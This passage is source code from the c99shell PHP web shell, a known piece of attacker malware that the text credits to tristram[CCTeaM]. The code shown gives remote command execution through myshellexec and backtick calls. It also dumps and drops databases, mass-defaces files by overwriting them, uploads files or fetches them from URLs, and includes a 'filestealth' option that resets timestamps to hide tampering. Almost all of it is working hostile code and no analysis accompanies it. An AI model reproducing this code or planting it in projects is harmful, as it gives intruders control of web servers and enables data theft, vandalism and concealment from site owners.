";
//Start center panel
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "
There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
echo "
";
$acts = array("","dump");
if (count($boxtbl) > 0)
{
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
if ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
if ($sql_act == "tbldump")
{
$dmptbls = $boxtbl;
$sql_act = "dump";
}
if ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
if ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
if ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
if ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
if ($sql_act == "tblinsert") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
}
//else {$sql_act = "";}
if ($sql_act == "query")
{
echo "";
if ($submit)
{
if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "";}
}
if (in_array($sql_act,$acts))
{
?>
Create new table:
SQL-Dump DB:
";}
if ($sql_act == "newtpl")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
echo "";
}
else
{
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = true;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
$ok = false;
if ($sql_dump_savetofile)
{
$fp = fopen($sql_dump_file,"w");
if ($fp) {$ok = true;}
fwrite($fp, $ret);
fclose($fp);
}
if ($sql_dump_download)
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif(!$ok) {echo "Dump error! Can't write dump to \"".htmlspecialchars($sql_dump_file)."\"!";}
else {echo "Dumped! Dump has been writed to \"".htmlspecialchars($sql_dump_file)."\" (".view_size(filesize($sql_dump_file)).").";}
}
}
else
{
if (!empty($sql_tbl))
{
$count = mysql_query ("SELECT COUNT(*) FROM ".$sql_tbl);
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$perpage = 10;
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 10;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls.",".$sql_tbl_le."";
$result = mysql_query($query) or print(mysql_error());
echo "
Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows):
";
if ($sql_act == "newdb")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "
Server-status variables:
";
echo "
Name
value
";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "
Mass-defaced with c99shell v. ".$shver.", coded by tristram[CCTeaM].";}
}
echo "";
if ($act == "ls") {$dspact = $act; echo "Deface took ".$defacetime." secs
";}
}
if ($act == "search")
{
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit))
{
$found = array();
$found_d = 0;
$found_f = 0;
$a = array
(
"name"=>$search_name, "name_regexp"=>$search_name_regexp,
"text"=>$search_text, "text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v)
{
c99fsearch($v);
}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "No files found!";}
else
{
$ls_arr = $found;
$disp_fullpath = true;
$act = "ls";
}
}
echo "";
if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs
";}
}
if ($act == "chmod")
{
$perms = fileperms($d.$f);
if (!$perms) {echo "Can't get current mode.";}
elseif ($submit)
{
if (!isset($owner[0])) {$owner[0] = 0;}
if (!isset($owner[1])) {$owner[1] = 0; }
if (!isset($owner[2])) {$owner[2] = 0;}
if (!isset($group[0])) {$group[0] = 0;}
if (!isset($group[1])) {$group[1] = 0;}
if (!isset($group[2])) {$group[2] = 0;}
if (!isset($world[0])) {$world[0] = 0;}
if (!isset($world[1])) {$world[1] = 0;}
if (!isset($world[2])) {$world[2] = 0;}
$sum_owner = $owner[0] + $owner[1] + $owner[2];
$sum_group = $group[0] + $group[1] + $group[2];
$sum_world = $world[0] + $world[1] + $world[2];
$sum_chmod = "0".$sum_owner.$sum_group.$sum_world;
$ret = @chmod($d.$f, $sum_chmod);
if ($ret) {$act = "ls";}
else {echo "Changing file-mode (".$d.$f."): error ";}
}
else
{
$perms = fileperms($d.$f);
echo "Changing file-mode (".$d.$f."), numeric mode - ".$perms." ";
$perms = view_perms($perms);
$length = strlen($perms);
$owner_r = $owner_w = $owner_x =
$group_r = $group_w = $group_x =
$world_r = $world_w = $world_x = "";
if ($perms[1] == "r") {$owner_r = " checked";} if ($perms[2] == "w") {$owner_w = " checked";}
if ($perms[3] == "x") {$owner_x = " checked";} if ($perms[4] == "r") {$group_r = " checked";}
if ($perms[5] == "w") {$group_w = " checked";} if ($perms[6] == "x") {$group_x = " checked";}
if ($perms[7] == "r") {$world_r = " checked";} if ($perms[8] == "w") {$world_w = " checked";}
if ($perms[9] == "x") {$world_x = " checked";}
echo "";
}
}
if ($act == "upload")
{
$uploadmess = "";
$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,strlen($uploadpath)-1,strlen($uploadpath)) != "/") {$uploadpath .= "/";}
if (!empty($submit))
{
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES["uploadfile"];
if (!empty($uploadfile[tmp_name]))
{
if (empty($uploadfilename)) {$destin = $uploadfile[name];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile[name]." (can't copy \"".$uploadfile[tmp_name]."\" to \"".$uploadpath.$destin."\"! ";}
}
elseif (!empty($uploadurl))
{
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else
{
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin))
{
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
else
{
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file! ";}
else
{
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
else
{
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
}
}
}
}
}
if ($miniform)
{
echo "".$uploadmess."";
$act = "ls";
}
else
{
echo "File upload: ".$uploadmess."";
}
}
if ($act == "delete")
{
$delerr = "";
foreach ($actbox as $v)
{
$result = false;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
}
$act = "ls";
}
if ($act == "deface")
{
$deferr = "";
foreach ($actbox as $v)
{
$data = $deface_html;
if (eregi("%%%filedata%%%",$data)) {$data = str_replace("%%%filedata%%%",file_get_contents($v),$data);}
$data = str_replace("%%%filename%%%",basename($v),$data);
$data = str_replace("%%%filepath%%%",$v,$data);
$fp = @fopen($v,"w");
fwrite($fp,$data);
fclose($fp);
if (!$result) {$deferr .= "Can't deface ".htmlspecialchars($v)." ";}
if (!empty($delerr)) {echo "Defacing with errors: ".$deferr;}
}
}
if (!$usefsbuff)
{
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE.
";}
}
else
{
if ($act == "copy")
{
$err = "";
$sess_data["copy"] = array_merge($sess_data["copy"],$actbox);
c99_sess_put($sess_data);
$act = "ls";
}
if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); c99_sess_put($sess_data); $act = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
$act = "ls";
}
elseif ($actarcbuff)
{
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz")
{
$cmdline = "tar cfzv";
}
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v)
{
$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
if (is_dir($v))
{
if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";}
$v .= "*";
}
$cmdline .= " ".$v;
}
$ret = `$cmdline`;
if (empty($ret)) {$arcerr .= "Can't call archivator! ";}
$ret = str_replace("\r\n","\n",$ret);
$ret = explode("\n",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
$act = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
$act = "ls";
}
}
if ($act == "cmd")
{
@chdir($chdir);
if (empty($cmd)) {$act = "ls";}
else
{
if (!empty($submit))
{
echo "Result of execution this command: ";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
myshellexec($cmd);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($cmd_txt)
{
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo " ";
}
else {echo $ret;}
}
else
{
if ($cmd_txt)
{
echo " ";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = true;}}
echo "";
}
}
if ($act == "ls")
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while ($o = readdir($h)) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) {echo "